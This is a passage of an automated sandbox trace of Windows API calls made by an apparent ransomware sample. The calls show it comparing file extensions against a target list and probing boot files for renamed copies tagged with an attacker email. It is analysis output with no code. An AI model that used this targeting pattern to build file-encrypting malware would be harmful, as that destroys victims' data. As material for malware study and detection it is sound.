(lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0224.303] lstrlenW (lpString=".dbf") returned 4 [0224.303] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0224.303] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0224.303] lstrlenW (lpString=".1cd") returned 4 [0224.303] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0224.303] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0224.303] lstrlenW (lpString=".jpg") returned 4 [0224.303] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0224.303] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0224.303] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0224.303] lstrlenW (lpString=".doc") returned 4 [0224.303] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0224.303] lstrlenW (lpString=".docx") returned 5 [0224.303] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0224.303] lstrlenW (lpString=".pdf") returned 4 [0224.303] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0224.304] lstrlenW (lpString=".xls") returned 4 [0224.304] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0224.304] lstrlenW (lpString=".xlsx") returned 5 [0224.304] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0224.304] lstrlenW (lpString=".ppt") returned 4 [0224.304] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0224.304] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0224.304] lstrlenW (lpString=".zip") returned 4 [0224.304] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0224.304] lstrlenW (lpString=".rar") returned 4 [0224.304] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0224.304] lstrlenW (lpString=".bz2") returned 4 [0224.304] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0224.304] lstrlenW (lpString=".7z") returned 3 [0224.304] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0224.304] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0224.304] lstrlenW (lpString=".dbf") returned 4 [0224.304] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0224.304] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0224.304] lstrlenW (lpString=".1cd") returned 4 [0224.304] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0224.304] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0224.304] lstrlenW (lpString=".jpg") returned 4 [0224.304] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0224.304] Sleep (dwMilliseconds=0x64) [0224.519] Sleep (dwMilliseconds=0x64) [0224.826] lstrlenW (lpString="BCD") returned 3 [0224.826] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.961] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0224.961] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0224.961] lstrlenW (lpString=".doc") returned 4 [0224.961] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0224.961] lstrlenW (lpString=".docx") returned 5 [0224.961] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0224.961] lstrlenW (lpString=".pdf") returned 4 [0224.961] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0224.961] lstrlenW (lpString=".xls") returned 4 [0224.961] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0224.961] lstrlenW (lpString=".xlsx") returned 5 [0224.961] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0224.961] lstrlenW (lpString=".ppt") returned 4 [0224.961] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0224.961] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0224.961] lstrlenW (lpString=".zip") returned 4 [0224.961] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0224.961] lstrlenW (lpString=".rar") returned 4 [0224.961] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0224.961] lstrlenW (lpString=".bz2") returned 4 [0224.961] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0224.961] lstrlenW (lpString=".7z") returned 3 [0224.961] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0224.961] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0224.961] lstrlenW (lpString=".dbf") returned 4 [0224.961] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0224.961] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0224.961] lstrlenW (lpString=".1cd") returned 4 [0224.961] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0224.961] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0224.961] lstrlenW (lpString=".jpg") returned 4 [0224.961] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0224.961] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0224.961] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0224.961] lstrlenW (lpString=".doc") returned 4 [0224.961] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0224.961] lstrlenW (lpString=".docx") returned 5 [0224.961] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0224.961] lstrlenW (lpString=".pdf") returned 4 [0224.961] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0224.961] lstrlenW (lpString=".xls") returned 4 [0224.961] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0224.961] lstrlenW (lpString=".xlsx") returned 5 [0224.961] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0224.961] lstrlenW (lpString=".ppt") returned 4 [0224.961] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0224.961] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0224.961] lstrlenW (lpString=".zip") returned 4 [0224.961] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0224.962] lstrlenW (lpString=".rar") returned 4 [0224.962] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0224.962] lstrlenW (lpString=".bz2") returned 4 [0224.962] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0224.962] lstrlenW (lpString=".7z") returned 3 [0224.962] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0224.962] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0224.962] lstrlenW (lpString=".dbf") returned 4 [0224.962] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0224.962] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0224.962] lstrlenW (lpString=".1cd") returned 4 [0224.962] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0224.962] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0224.962] lstrlenW (lpString=".jpg") returned 4 [0224.962] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0224.962] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0224.962] lstrlenW (lpString="bootspaces.dll") returned 14 [0224.962] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0224.963] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=95648) returned 1 [0224.963] CloseHandle (hObject=0x3fc) returned 1 [0224.963] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0224.963] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0224.963] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.963] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0224.963] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0224.963] lstrlenW (lpString=".doc") returned 4 [0224.963] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0224.963] lstrlenW (lpString=".docx") returned 5 [0224.963] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0224.963] lstrlenW (lpString=".pdf") returned 4 [0224.963] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0224.963] lstrlenW (lpString=".xls") returned 4 [0224.963] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0224.963] lstrlenW (lpString=".xlsx") returned 5 [0224.963] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0224.963] lstrlenW (lpString=".ppt") returned 4 [0224.963] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0224.963] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0224.963] lstrlenW (lpString=".zip") returned 4 [0224.963] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0224.963] lstrlenW (lpString=".rar") returned 4 [0224.963] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0224.964] lstrlenW (lpString=".bz2") returned 4 [0224.964] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0224.964] lstrlenW (lpString=".7z") returned 3 [0224.964] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0224.964] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0224.964] lstrlenW (lpString=".dbf") returned 4 [0224.964] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0224.964] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0224.964] lstrlenW (lpString=".1cd") returned 4 [0224.964] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0224.964] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0224.964] lstrlenW (lpString=".jpg") returned 4 [0224.964] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0224.964] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0224.964] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0224.964] lstrlenW (lpString=".doc") returned 4 [0224.964] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0224.964] lstrlenW (lpString=".docx") returned 5 [0224.964] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0224.964] lstrlenW (lpString=".pdf") returned 4 [0224.964] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0224.964] lstrlenW (lpString=".xls") returned 4 [0224.964] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0224.964] lstrlenW (lpString=".xlsx") returned 5 [0224.964] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0224.964] lstrlenW (lpString=".ppt") returned 4 [0224.964] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0224.964] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0224.964] lstrlenW (lpString=".zip") returned 4 [0224.964] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0224.964] lstrlenW (lpString=".rar") returned 4 [0224.964] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0224.964] lstrlenW (lpString=".bz2") returned 4 [0224.964] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0224.964] lstrlenW (lpString=".7z") returned 3 [0224.964] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0224.964] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0224.964] lstrlenW (lpString=".dbf") returned 4 [0224.964] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0224.964] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0224.964] lstrlenW (lpString=".1cd") returned 4 [0224.964] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0224.964] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0224.964] lstrlenW (lpString=".jpg") returned 4 [0224.964] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0224.964] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0224.964] lstrlenW (lpString="bootvhd.dll") returned 11 [0224.965] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0224.965] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=99744) returned 1 [0224.965] CloseHandle (hObject=0x3fc) returned 1 [0224.965] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0224.965] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0224.965] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.965] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0224.965] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0224.965] lstrlenW (lpString=".doc") returned 4 [0224.965] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0224.965] lstrlenW (lpString=".docx") returned 5 [0224.965] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0224.965] lstrlenW (lpString=".pdf") returned 4 [0224.965] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0224.965] lstrlenW (lpString=".xls") returned 4 [0224.965] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0224.965] lstrlenW (lpString=".xlsx") returned 5 [0224.965] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0224.965] lstrlenW (lpString=".ppt") returned 4 [0224.965] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0224.965] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0224.965] lstrlenW (lpString=".zip") returned 4 [0224.965] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0224.966] lstrlenW (lpString=".rar") returned 4 [0224.966] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0224.966] lstrlenW (lpString=".bz2") returned 4 [0224.966] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0224.966] lstrlenW (lpString=".7z") returned 3 [0224.966] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0224.966] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0224.966] lstrlenW (lpString=".dbf") returned 4 [0224.966] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0224.966] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0224.966] lstrlenW (lpString=".1cd") returned 4 [0224.966] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0224.966] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0224.966] lstrlenW (lpString=".jpg") returned 4 [0224.966] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0224.966] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0224.966] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0224.966] lstrlenW (lpString=".doc") returned 4 [0224.966] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0224.966] lstrlenW (lpString=".docx") returned 5 [0224.966] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0224.966] lstrlenW (lpString=".pdf") returned 4 [0224.966] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0224.966] lstrlenW (lpString=".xls") returned 4 [0224.966] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0224.966] lstrlenW (lpString=".xlsx") returned 5 [0224.966] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0224.966] lstrlenW (lpString=".ppt") returned 4 [0224.966] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0224.966] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0224.966] lstrlenW (lpString=".zip") returned 4 [0224.966] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0224.966] lstrlenW (lpString=".rar") returned 4 [0224.966] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0224.966] lstrlenW (lpString=".bz2") returned 4 [0224.966] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0224.966] lstrlenW (lpString=".7z") returned 3 [0224.966] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0224.966] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0224.966] lstrlenW (lpString=".dbf") returned 4 [0224.966] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0224.966] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0224.966] lstrlenW (lpString=".1cd") returned 4 [0224.966] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0224.966] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0224.966] lstrlenW (lpString=".jpg") returned 4 [0224.966] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0224.966] lstrcmpiW (lpString1=".mui", lpString2=".HCK") returned 1 [0224.967] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0224.967] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0224.967] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=76632) returned 1 [0224.967] CloseHandle (hObject=0x3fc) returned 1 [0224.967] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0224.967] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0224.967] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.967] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0224.967] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0224.967] lstrlenW (lpString=".doc") returned 4 [0224.967] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0224.967] lstrlenW (lpString=".docx") returned 5 [0224.967] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0224.967] lstrlenW (lpString=".pdf") returned 4 [0224.967] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0224.967] lstrlenW (lpString=".xls") returned 4 [0224.967] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0224.967] lstrlenW (lpString=".xlsx") returned 5 [0224.967] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0224.967] lstrlenW (lpString=".ppt") returned 4 [0224.967] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0224.967] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0224.968] lstrlenW (lpString=".zip") returned 4 [0224.968] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0224.968] lstrlenW (lpString=".rar") returned 4 [0224.968] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0224.968] lstrlenW (lpString=".bz2") returned 4 [0224.968] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0224.968] lstrlenW (lpString=".7z") returned 3 [0224.968] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0224.968] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0224.968] lstrlenW (lpString=".dbf") returned 4 [0224.968] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0224.968] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0224.968] lstrlenW (lpString=".1cd") returned 4 [0224.968] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0224.968] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0224.968] lstrlenW (lpString=".jpg") returned 4 [0224.968] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0224.968] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0224.968] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0224.968] lstrlenW (lpString=".doc") returned 4 [0224.968] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0224.968] lstrlenW (lpString=".docx") returned 5 [0224.968] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0224.968] lstrlenW (lpString=".pdf") returned 4 [0224.968] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0224.968] lstrlenW (lpString=".xls") returned 4 [0224.968] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0224.968] lstrlenW (lpString=".xlsx") returned 5 [0224.968] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0224.968] lstrlenW (lpString=".ppt") returned 4 [0224.968] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0224.968] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0224.968] lstrlenW (lpString=".zip") returned 4 [0224.968] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0224.968] lstrlenW (lpString=".rar") returned 4 [0224.968] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0224.968] lstrlenW (lpString=".bz2") returned 4 [0224.968] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0224.968] lstrlenW (lpString=".7z") returned 3 [0224.968] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0224.968] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0224.968] lstrlenW (lpString=".dbf") returned 4 [0224.968] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0224.968] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0224.968] lstrlenW (lpString=".1cd") returned 4 [0224.968] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0224.968] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0224.968] lstrlenW (lpString=".jpg") returned 4 [0224.968] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0224.969] lstrcmpiW (lpString1=".mui", lpString2=".HCK") returned 1 [0224.969] lstrlenW (lpString="memtest.exe.mui") returned 15 [0224.969] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0224.969] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=45472) returned 1 [0224.969] CloseHandle (hObject=0x3fc) returned 1 [0224.969] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui")) returned 0x20 [0224.969] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0224.969] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.969] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0224.969] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0224.969] lstrlenW (lpString=".doc") returned 4 [0224.969] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0224.969] lstrlenW (lpString=".docx") returned 5 [0224.969] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0224.969] lstrlenW (lpString=".pdf") returned 4 [0224.969] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0224.969] lstrlenW (lpString=".xls") returned 4 [0224.969] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0224.969] lstrlenW (lpString=".xlsx") returned 5 [0224.969] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0224.969] lstrlenW (lpString=".ppt") returned 4 [0224.969] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0224.969] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0224.969] lstrlenW (lpString=".zip") returned 4 [0224.970] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0224.970] lstrlenW (lpString=".rar") returned 4 [0224.970] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0224.970] lstrlenW (lpString=".bz2") returned 4 [0224.970] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0224.970] lstrlenW (lpString=".7z") returned 3 [0224.970] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0224.970] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0224.970] lstrlenW (lpString=".dbf") returned 4 [0224.970] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0224.970] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0224.970] lstrlenW (lpString=".1cd") returned 4 [0224.970] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0224.970] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0224.970] lstrlenW (lpString=".jpg") returned 4 [0224.970] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0224.970] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0224.970] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0224.970] lstrlenW (lpString=".doc") returned 4 [0224.970] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0224.970] lstrlenW (lpString=".docx") returned 5 [0224.970] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0224.970] lstrlenW (lpString=".pdf") returned 4 [0224.970] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0224.970] lstrlenW (lpString=".xls") returned 4 [0224.970] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0224.970] lstrlenW (lpString=".xlsx") returned 5 [0224.970] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0224.970] lstrlenW (lpString=".ppt") returned 4 [0224.970] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 